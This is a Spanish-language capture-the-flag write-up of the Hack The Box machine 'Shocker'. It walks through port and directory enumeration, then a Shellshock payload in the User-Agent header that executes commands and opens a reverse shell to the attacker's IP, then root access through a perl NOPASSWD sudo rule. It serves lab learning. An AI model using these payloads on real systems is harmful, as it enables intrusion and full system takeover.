Shocker

Hack The Box — Metodología Detallada

Shocker

IP:	10.129.17.212
OS:	Linux
Dificultad:	Easy
Fecha:	21 de junio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts

# Output
PORT     STATE SERVICE      REASON
80/tcp   open  http         syn-ack ttl 63
2222/tcp open  EtherNetIP-1 syn-ack ttl 63

Observación: Se identificaron dos puertos abiertos: el puerto 80 (HTTP) y el puerto 2222, este último inicialmente reportado como EtherNetIP-1 por nmap sin confirmación de versión. El puerto 80 se priorizó como vector de enumeración inicial al no requerir credenciales, mientras que el servicio en 2222 se analizó con mayor profundidad en el siguiente escaneo.

Escaneo de versiones de los servicios

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)

Observación: El escaneo de versiones permitió corregir la identificación inicial: el servicio en el puerto 2222 corresponde realmente a OpenSSH 7.2p2, no a EtherNetIP como sugirió el primer escaneo. El uso de un puerto no estándar (2222) para SSH es una práctica común para reducir intentos automáticos de fuerza bruta, aunque no aumenta la seguridad real del servicio. El puerto 80 con Apache 2.4.18 se mantiene como vector principal de enumeración.

Enumeración

Enumeración HTTP — Puerto 80

Se accedió al servicio web en el puerto 80 para identificar el contenido expuesto. La página principal únicamente mostraba un mensaje de “Don’t Bug Me!” junto con una imagen relacionada a una pulga, sin enlaces ni funcionalidad visible.

Página web principal

Revisión del código fuente

Se inspeccionó el código fuente de la página mediante Ctrl + U para identificar posibles referencias ocultas, sin embargo no se encontró información relevante.

Revisión del código fuente

Enumeración con Ffuf

Hipótesis: Ante la ausencia de contenido visible en la página principal, se procedió a realizar fuzzing de directorios con la finalidad de descubrir rutas ocultas que pudieran contener información de valor.

ffuf -u http://10.129.17.212/FUZZ -w /usr/share/seclists/Discovery/Web-Content/
DirBuster-2007_directory-list-2.3-small.txt -mc 200,301,302

# output
:: Progress: [87664/87664] :: Job [1/1] :: 456 req/sec ::
Duration: [0:03:14] :: Errors: 0

Resultado: Este escaneo no arrojó resultados relevantes.

Identificación tardía de la versión real

Error inicial: Durante la fase de reconocimiento se registró la versión de Apache reportada por nmap, sin embargo no se profundizó de inmediato en su análisis de vulnerabilidades asociadas. Se procedió a revisar las tecnologías de la página mediante la extensión Wappalyzer, confirmándose nuevamente la versión Apache 2.4.18.

Investigación: Al buscar vulnerabilidades asociadas a esta versión se identificó el CVE-2018-1312, correspondiente a una vulnerabilidad en mod_auth_digest (autenticación digest). Tras analizar la aplicación se determinó que esta CVE no era aplicable, dado que la página no contaba con ningún sistema de login.

Lección: La versión de un servicio identificada en el escaneo inicial debe verificarse de inmediato contra bases de datos de vulnerabilidades, pero es igualmente importante validar que el contexto de la aplicación permita la explotación de la CVE encontrada antes de invertir tiempo en su desarrollo.

Enumeración con wordlist alternativa

Se repitió el proceso de fuzzing utilizando una wordlist distinta, obteniendo esta vez resultados relevantes.

# Comando
ffuf -u http://10.129.17.212/FUZZ -w /usr/share/seclists/
Discovery/Web-Content/common.txt

# Output
.htaccess               [Status: 403, Size: 297, Words: 22]
.hta                    [Status: 403, Size: 292, Words: 22]
.htpasswd               [Status: 403, Size: 297, Words: 22]
cgi-bin/                [Status: 403, Size: 296, Words: 22]
index.html              [Status: 200, Size: 137, Words: 9]
server-status           [Status: 403, Size: 301, Words: 22]

Observación: Se identificó el directorio cgi-bin/, poco común en aplicaciones web estándar, lo cual motivó un análisis más profundo sobre dicha ruta.

Identificación del script CGI vulnerable

Hipótesis: Dado el nombre de la máquina (Shocker) y la ausencia de elementos interactivos en la página principal, se planteó la posibilidad de que la vulnerabilidad estuviera relacionada con Shellshock (CVE-2014-6271), una vulnerabilidad clásica de Bash que afecta scripts CGI ejecutados por el servidor.

Enumeración: Se realizó fuzzing sobre el directorio cgi-bin/, identificado previamente con estado 403, en busca de scripts ejecutables.

ffuf -u http://10.129.17.212/cgi-bin/FUZZ -w /usr/share/seclists/Discovery/
Web-Content/common.txt -e .cgi,.sh,.pl

.hta                    [Status: 403]
.htaccess               [Status: 403]
.htpasswd               [Status: 403]
user.sh                 [Status: 200, Size: 118, Words: 19, Lines: 8]

Hallazgo: Se identificó el script user.sh con respuesta exitosa (200). Al acceder directamente se confirmó que se trataba de un script de prueba ejecutado por el servidor:

curl http://10.129.17.212/cgi-bin/user.sh

Content-Type: text/plain
Just an uptime test script
00:26:15 up 3:57, 0 users, load average: 0.00, 0.00, 0.00

Explotación

Explotación de Shellshock

Confirmación de la vulnerabilidad: Se inyectó un payload en el header User-Agent, aprovechando que los scripts CGI procesan dichas variables a través de Bash, permitiendo la ejecución de comandos arbitrarios.

curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 
'whoami'" http://10.129.17.212/cgi-bin/user.sh

shelly

Resultado: La ejecución remota de comandos fue confirmada exitosamente, obteniendo respuesta como el usuario shelly.

Obtención de reverse shell

Tras confirmar la vulnerabilidad, se procedió a obtener una shell interactiva mediante el mismo vector de inyección.

# Listener
nc -lvnp 4444

# Payload de explotacion
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/
10.10.15.163/4444 0>&1'" http://10.129.17.212/cgi-bin/user.sh

Connection received on 10.129.17.212 49574
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$

Resultado: Se obtuvo acceso a una shell interactiva como el usuario shelly, confirmando exitosamente la explotación de Shellshock en el servidor objetivo.

Escalada de Privilegios

Enumeración de permisos sudo

Con acceso a una shell como shelly, se procedió a verificar los permisos sudo asignados al usuario.

sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
/snap/bin

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl

Observación: El usuario shelly puede ejecutar el intérprete de Perl como root sin necesidad de contraseña. Esto representa un vector directo de escalada de privilegios, ya que Perl permite ejecutar comandos del sistema operativo desde su propio código.

Investigación del vector de abuso

Hipótesis: Al no tener experiencia previa explotando binarios con permisos sudo mediante Perl, se investigó cómo este lenguaje permite invocar una shell de sistema directamente desde su intérprete, con el objetivo de heredar los privilegios de root otorgados por la regla de sudoers.

Tras la investigación se determinó que la función exec de Perl permite reemplazar el proceso actual por otro comando del sistema, heredando los privilegios con los que se invocó el intérprete.

Explotación

sudo perl -e 'exec "/bin/bash";'
whoami
root

Resultado: Se obtuvo una shell interactiva con privilegios de root, confirmando la escalada de privilegios exitosa mediante el abuso de la regla NOPASSWD sobre el intérprete de Perl.

Reflexión Final

Qué salió bien

Se relacionó correctamente el nombre de la máquina (Shocker) con la vulnerabilidad Shellshock, lo que orientó la búsqueda hacia scripts CGI en lugar de continuar insistiendo en vectores web tradicionales.
Se identificó correctamente que el directorio cgi-bin/ era poco común y merecía un análisis más profundo, a pesar de devolver inicialmente un estado 403.

Qué salió mal o costó más

Se invirtió tiempo investigando el CVE-2018-1312 de mod_auth_digest sin validar primero si el contexto de la aplicación (ausencia de login) permitía su explotación.
No se tenía experiencia previa abusando de permisos sudo sobre el intérprete de Perl, por lo que fue necesario investigar la sintaxis correcta de la función exec antes de lograr la escalada.

Lecciones aprendidas

Antes de profundizar en una CVE específica, se debe validar si el contexto de la aplicación permite su explotación (por ejemplo, la existencia de un formulario de login para vulnerabilidades de autenticación).
El nombre de una máquina en plataformas como HTB frecuentemente constituye una pista directa sobre la vulnerabilidad principal a explotar.
Cualquier intérprete de lenguaje (Perl, Python, Ruby, etc.) otorgado mediante sudo sin restricciones representa un vector crítico de escalada de privilegios, ya que todos permiten ejecutar comandos del sistema operativo desde su propio código.

Tiempo total

Tiempo total invertido en la resolución de la máquina: aproximadamente 2 horas, distribuidas en sesiones con una pausa intermedia que permitió retomar el problema con mayor claridad mental.